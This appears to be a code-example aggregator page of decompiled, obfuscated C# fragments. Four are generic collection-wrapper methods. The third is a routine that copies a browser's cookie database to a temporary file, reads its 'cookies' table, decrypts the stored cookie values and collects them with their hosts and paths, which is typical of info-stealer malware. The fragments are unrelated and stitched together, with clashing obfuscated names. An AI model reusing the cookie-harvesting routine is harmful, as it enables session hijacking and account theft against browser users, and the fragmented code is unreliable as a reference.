Exemplo n.º 1
0
 // Token: 0x060005A6 RID: 1446 RVA: 0x00006945 File Offset: 0x00004B45
 private static void smethod_0(object object_0)
 {
     if (!Class21 <nhRd76JVPX5GP69E2c> .smethod_1(object_0))
     {
         throw new ArgumentException("The value '{0}' is not of type '{1}' and cannot be used in this generic collection.".smethod_1(CultureInfo.InvariantCulture, object_0, typeof(nhRd76JVPX5GP69E2c)), "value");
     }
 }
Exemplo n.º 2
0
 // Token: 0x060005A0 RID: 1440 RVA: 0x000068AA File Offset: 0x00004AAA
 void IList.Remove(object value)
 {
     if (Class21 <nhRd76JVPX5GP69E2c> .smethod_1(value))
     {
         this.Remove((nhRd76JVPX5GP69E2c)((object)value));
     }
 }
Exemplo n.º 3
0
        // Token: 0x060001AB RID: 427 RVA: 0x0000D580 File Offset: 0x0000B780
        private static List <Class16> smethod_2(string string_0)
        {
            if (!File.Exists(string_0))
            {
                return(null);
            }
            List <Class16> result;

            try
            {
                string text = GClass9.string_6 + "test.fv";
                if (File.Exists(text))
                {
                    File.Delete(text);
                }
                File.Copy(string_0, text, true);
                Class7         @class = new Class7(text);
                List <Class16> list   = new List <Class16>();
                @class.method_4("cookies");
                for (int i = 0; i < @class.method_1(); i++)
                {
                    try
                    {
                        string text2 = string.Empty;
                        try
                        {
                            text2 = Encoding.UTF8.GetString(Class21.smethod_1(Encoding.Default.GetBytes(@class.method_0(i, 12)), null));
                        }
                        catch
                        {
                        }
                        if (text2 != "")
                        {
                            list.Add(new Class16
                            {
                                String_0 = @class.method_0(i, 1),
                                String_1 = @class.method_0(i, 2),
                                String_3 = @class.method_0(i, 4),
                                String_4 = @class.method_0(i, 5),
                                String_5 = @class.method_0(i, 6),
                                String_2 = text2
                            });
                            Class15.int_0++;
                        }
                    }
                    catch
                    {
                    }
                }
                File.Delete(text);
                result = list;
            }
            catch
            {
                result = null;
            }
            return(result);
        }
Exemplo n.º 4
0
 // Token: 0x0600059C RID: 1436 RVA: 0x00006801 File Offset: 0x00004A01
 int IList.IndexOf(object value)
 {
     if (this.icollection_0 != null)
     {
         throw new InvalidOperationException("Wrapped ICollection<T> does not support IndexOf.");
     }
     if (Class21 <nhRd76JVPX5GP69E2c> .smethod_1(value))
     {
         return(this.ilist_0.IndexOf((nhRd76JVPX5GP69E2c)((object)value)));
     }
     return(-1);
 }
Exemplo n.º 5
0
 // Token: 0x0600059B RID: 1435 RVA: 0x000067E9 File Offset: 0x000049E9
 bool IList.Contains(object value)
 {
     return(Class21 <nhRd76JVPX5GP69E2c> .smethod_1(value) && this.Contains((nhRd76JVPX5GP69E2c)((object)value)));
 }